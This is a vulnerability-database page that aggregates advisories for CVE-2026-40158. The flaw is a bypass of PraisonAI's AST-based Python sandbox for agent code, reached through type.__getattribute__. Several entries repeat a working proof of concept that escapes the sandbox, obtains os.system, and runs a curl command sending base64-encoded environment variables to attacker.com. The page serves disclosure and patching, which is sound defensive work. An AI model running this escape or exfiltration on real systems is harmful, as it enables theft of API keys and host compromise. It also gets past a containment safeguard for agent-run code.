Vulnerability-Lookup

CVE-2026-40158 (GCVE-0-2026-40158)

Vulnerability from cvelistv5 – Published: 2026-04-10 16:49 – Updated: 2026-04-10 18:31

Title

PraisonAI has Improper Control of Generation of Code ('Code Injection') and Protection Mechanism Failure in praisonai

Summary

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-10 18:31 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7652 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
MervinPraison	PraisonAI	Affected: < 4.5.128	guessed

Show details on NVD website

JSON

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FKIE_CVE-2026-40158

Vulnerability from fkie_nvd - Published: 2026-04-10 17:17 - Updated: 2026-06-17 10:44

Severity

8.6 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	praison	praisonai	*

JSON

To clipboard

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GHSA-3C4R-6P77-XWR7

Vulnerability from github – Published: 2026-04-10 19:25 – Updated: 2026-04-10 19:25

Summary

PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

Details

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')

        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

Access sensitive data such as environment variables, API keys, and local files
Execute arbitrary system commands
Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)

    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)

    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:25:39Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "HIGH"
  },
  "details": "PraisonAI\u0027s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, \u0027__subclasses__\u0027)  # Bypasses filter\n```\n\nThe string `\u0027__subclasses__\u0027` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, \u0027__bases__\u0027)\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, \u0027__subclasses__\u0027)\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, \u0027__name__\u0027) == \u0027_wrap_close\u0027:\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, \u0027__init__\u0027)\n        glb = type(init).__getattribute__(init, \u0027__globals__\u0027)\n        \n        # Get system function and execute\n        system = glb[\u0027system\u0027]\n        system(\u0027curl https://attacker.com/steal --data \"$(env | base64)\"\u0027)\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)",
  "id": "GHSA-3c4r-6p77-xwr7",
  "modified": "2026-04-10T19:25:39Z",
  "published": "2026-04-10T19:25:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure"
}

PYSEC-2026-2898

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05

Details

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')

        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

Access sensitive data such as environment variables, API keys, and local files
Execute arbitrary system commands
Modify or delete files on the system

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)

    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)

    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Impacted products

Name	purl
praisonai	pkg:pypi/praisonai

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
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          "type": "ECOSYSTEM"
        }
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        "4.3.1",
        "4.4.0",
        "4.4.10",
        "4.4.11",
        "4.4.12",
        "4.4.2",
        "4.4.3",
        "4.4.4",
        "4.4.5",
        "4.4.6",
        "4.4.7",
        "4.4.8",
        "4.4.9",
        "4.5.0",
        "4.5.1",
        "4.5.10",
        "4.5.100",
        "4.5.101",
        "4.5.102",
        "4.5.103",
        "4.5.104",
        "4.5.105",
        "4.5.106",
        "4.5.107",
        "4.5.108",
        "4.5.109",
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        "4.5.110",
        "4.5.111",
        "4.5.112",
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        "4.5.114",
        "4.5.115",
        "4.5.117",
        "4.5.118",
        "4.5.119",
        "4.5.12",
        "4.5.120",
        "4.5.121",
        "4.5.122",
        "4.5.123",
        "4.5.124",
        "4.5.125",
        "4.5.126",
        "4.5.127",
        "4.5.13",
        "4.5.14",
        "4.5.15",
        "4.5.16",
        "4.5.18",
        "4.5.19",
        "4.5.2",
        "4.5.20",
        "4.5.21",
        "4.5.22",
        "4.5.23",
        "4.5.24",
        "4.5.25",
        "4.5.26",
        "4.5.27",
        "4.5.28",
        "4.5.29",
        "4.5.3",
        "4.5.30",
        "4.5.31",
        "4.5.32",
        "4.5.33",
        "4.5.34",
        "4.5.35",
        "4.5.36",
        "4.5.37",
        "4.5.38",
        "4.5.39",
        "4.5.40",
        "4.5.41",
        "4.5.42",
        "4.5.43",
        "4.5.44",
        "4.5.45",
        "4.5.46",
        "4.5.48",
        "4.5.49",
        "4.5.5",
        "4.5.51",
        "4.5.52",
        "4.5.54",
        "4.5.55",
        "4.5.56",
        "4.5.57",
        "4.5.58",
        "4.5.59",
        "4.5.6",
        "4.5.60",
        "4.5.62",
        "4.5.63",
        "4.5.64",
        "4.5.65",
        "4.5.67",
        "4.5.68",
        "4.5.69",
        "4.5.7",
        "4.5.70",
        "4.5.71",
        "4.5.72",
        "4.5.73",
        "4.5.74",
        "4.5.76",
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        "4.5.78",
        "4.5.79",
        "4.5.8",
        "4.5.80",
        "4.5.81",
        "4.5.82",
        "4.5.83",
        "4.5.85",
        "4.5.87",
        "4.5.88",
        "4.5.89",
        "4.5.9",
        "4.5.90",
        "4.5.93",
        "4.5.94",
        "4.5.95",
        "4.5.96",
        "4.5.97",
        "4.5.98"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40158",
    "GHSA-3c4r-6p77-xwr7"
  ],
  "details": "PraisonAI\u0027s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, \u0027__subclasses__\u0027)  # Bypasses filter\n```\n\nThe string `\u0027__subclasses__\u0027` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, \u0027__bases__\u0027)\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, \u0027__subclasses__\u0027)\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n    if t.__getattribute__(c, \u0027__name__\u0027) == \u0027_wrap_close\u0027:\n        # Get __init__.__globals__ via bypass\n        init = t.__getattribute__(c, \u0027__init__\u0027)\n        glb = type(init).__getattribute__(init, \u0027__globals__\u0027)\n        \n        # Get system function and execute\n        system = glb[\u0027system\u0027]\n        system(\u0027curl https://attacker.com/steal --data \"$(env | base64)\"\u0027)\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n    tree = ast.parse(code)\n    \n    for node in ast.walk(tree):\n        # Only checks ast.Attribute nodes\n        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n            raise SecurityError(...)\n    \n    # Bypass: string arguments are not checked\n    exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)",
  "id": "PYSEC-2026-2898",
  "modified": "2026-07-13T16:05:39.088386Z",
  "published": "2026-07-13T14:36:51.781340Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40158"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3c4r-6p77-xwr7"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure"
}

Sightings

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-40158 (GCVE-0-2026-40158)

FKIE_CVE-2026-40158

GHSA-3C4R-6P77-XWR7

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PYSEC-2026-2898

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